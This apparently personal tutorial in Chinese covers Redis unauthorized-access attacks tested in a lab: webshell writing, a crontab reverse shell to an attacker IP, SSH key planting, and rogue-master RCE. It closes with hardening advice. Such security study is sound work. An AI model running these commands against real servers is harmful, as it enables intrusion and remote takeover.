如果需要大佬寫好的腳本,可以直接去github上面搜
參考文章:https://www.cnblogs.com/wineme/articles/11731612.html
https://www.cnblogs.com/linuxsec/articles/11221756.html <<<<——————這篇文章是利用Gopher協議對redis進行攻擊,原理都一樣,只不過用的不是HTTP協議,沒什么太大區別
參考的資料還有群里大佬給的筆記文件
首先先得再系統上安裝redis,參考文章可以看這篇,寫的很詳細 https://www.cnblogs.com/hunanzp/p/12304622.html
所需要了解的知識:redis安裝,shell反彈原理及命令,簡單的redis語法,redis主從模式了解,crontab語法
redis一定要配置好,要不沒法遠程登陸寫shell
第一種攻擊方法:未授權訪問
如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。
可以看到,成功連接上遠程的redis服務器
第二種攻擊方法:寫入文件
條件:目標服務器開着web服務,且redis在web目錄下有寫入權利。master下執行。
原因:通過將redis數據庫路徑修改為php環境路徑,將數據庫名修改為php文件,
這個和和mysql日志提權一個道理
master:config set dir /var/www/html/ //數據保存路徑
master:config set dbfilename shell.php //重命名
master:set payload "<?php phpinfo();?>" //新增數據 當然,也可以這么寫
master:save //保存
第三種攻擊方法:利用計划任務來反彈一個shell權限。
這個原理就是redis存在遠程控制漏洞,如果沒有設置相關的策略比如說指定Ip登錄什么的,(一般redis遠程登錄的密碼是空的,即使有也是默認的),用戶就可以通過遠程登錄redis。首先創建一個每隔一分鍾就執行一次的反彈shell的crontab任務,再把文件變更到 /var/spool/cron/(不同版本Linux系統這個文件位置不一樣)目錄下,為啥要變更到這個目錄下呢?因為這個目錄下的文件名為root的文件是被系統默認定時執行的,(你只要按固定的語法格式寫進去就好,系統會自動執行的),也就是root 用戶 crontab默認存放執行文件的地方,最后再把文件名改成root,系統就會默認執行root文件中的定時任務(也就是反彈shell)
首先在攻擊機設立一個nc反彈接收端。
之后執行命令,將值導出,改變導出目錄以及文件名
具體代碼如下:
這里咱們用本地的kali和redis服務器進行測試,環境為內網環境
root@kali:~# redis-cli -h 192.168.63.130 // 開始連接靶機
192.168.63.130:6379> set x "* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1" //創建一個任務計划 這個* * * * * 的意思就是,每隔一分鍾就會默認執行一下后面的語句
OK
192.168.63.130:6379> config set dir /var/spool/cron/ // 改變導出目錄
OK
192.168.63.130:6379> config set dbfilename root // 改變文件名為root
OK
192.168.63.130:6379> save //保存
OK
crontab -l 查看root用戶下的crontab任務,可以看到已經成功寫入
之后linux攻擊機就會接收到反彈的shell了,必須是root權限,普通用戶沒有權限更改用戶名。
這里有個知識點——/var/spool/cron/。在linux系統中crontab是定時任務的守護進程,關於crontab命令也在 分類中的Linux類知識 里面有解釋說明。我們可以使用它來定時備份文件、定時執行命令等。在kali和ubantu中,其文件位置為/var/spool/cron/crontabs/root,在centos系列中位置為/var/spool/cron/root,通常情況下沒有root文件,需要自己創建。
一定要注意再不同系統中,root的位置是不一樣的!!!!
這里redis也可能會再最后一步命令執行也就是輸入 save 的時候報錯ERR,這是因為沒有改root文件名權限的原因,詳細過程再 分類中的Linux類知識 有解釋說明
如果想真實復現漏洞的話,weblogic曾經爆出過redis 的SSRF漏洞,可以通過抓改包寫入shell,控制服務器
第四種攻擊方法: 寫ssh-keygen公鑰,直接登錄
條件:redis服務使用root登錄、靶機開機ssh密鑰登錄
(如果不了解或者忘記ssh登錄的話,分類里面有對ssh的學習筆記)
$ ssh-keygen -t rsa
輸入路徑+文件名(回車默認)
輸入明文密碼
查看生成秘鑰
通過redis將其寫入靶機的.ssh目錄下
ssh密鑰遠程連接
第五種攻擊方法:RCE
這里是利用redis的主從模式來進行攻擊,剽自大佬博客的分享。
slave翻譯過來就是 奴隸 的意思
master 翻譯過來就是主人的意思
這里簡單復習一下redis的主從模式
redis主機成為master,redis從機成為slave,主機可讀可寫,從機只能讀,主機更新數據,從機會從主機獲取更新的數據。
條件:能夠訪問遠程redis端口,能夠設置主從模式。
這種利攻擊方式由LCBC戰隊隊員Pavel Toporkov在zeronights 2018上介紹的redis 4.x RCE攻擊。和前面幾種攻擊方式相比,這種攻擊方式更加精細巧妙,成功率也更高。
腳本地址:https://github.com/n0b0dyCN/redis-rogue-server
使用方式:python3 redis-rogue-server.py --rhost rhost --lhost lhost
這里來簡單分析一下大佬的思路。這種利用方式首先要創建一個惡意redis服務器來作為master,該master服務器要能夠回應連接他的slave 服務的響應。
[>] PING
[<] +PONG
[>] REPLCONF
[<] +OK
[>] PSYNC/SYNC
[<] +FULLRESYNC
如腳本所示,其中FULLRESYNC表示完整重同步,這一步是方便將master上的exp同步到slave上。
有了惡意服務器之后,先遠程連接目標服務器,通過slaveof將其設置為惡意服務器的slaver。然后將dbfilename設置為exp.so。
執行slaveof命令后,主從之間要進行握手,在slaver發送PSYNC之后master回應FULLRESYNC及exp內容。大概如下:
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
master發送完exp內容后,由於主從之間采用FULLRESYNC模式,所以exp內容也會存儲在slaver的數據庫文件,即exp.so中。
之后在控制slaver加載模塊執行即可。當然,加載完模塊之后腳本也會解除主從模式、還原數據庫文件。
這里腳本直接提供了shell環境。
在目標redis中查看模塊可以看到加載了模塊system。
當把這個模塊卸載后,shell也會隨之斷開。
1. 最后總結
以上提到的這些漏洞,都是基於未授權訪問。
寫入shell、反彈shell、寫入公鑰幾種漏洞都是利用redis數據存儲這一點,在擁有高級權限和在某些環境配合下,將payload直接寫入某個路徑,從而達到我們的目的。但實際上redis用戶的權限都不會太高,不太可能有人會直接以root權限運行redis或給redis以root權限。
最后一種方式利用了主從模式的完整全同步及模塊加載,配合搭建的惡意服務器可以將exp同步到目標服務器上getshell。
和前面幾種利用方式相比最后一種不需要太高的權限,但也是基於未授權訪問這一點,所以在防護中首先要做到訪問者ip限制,設置強密碼,更改端口等。
最后感謝大佬們的分享!!!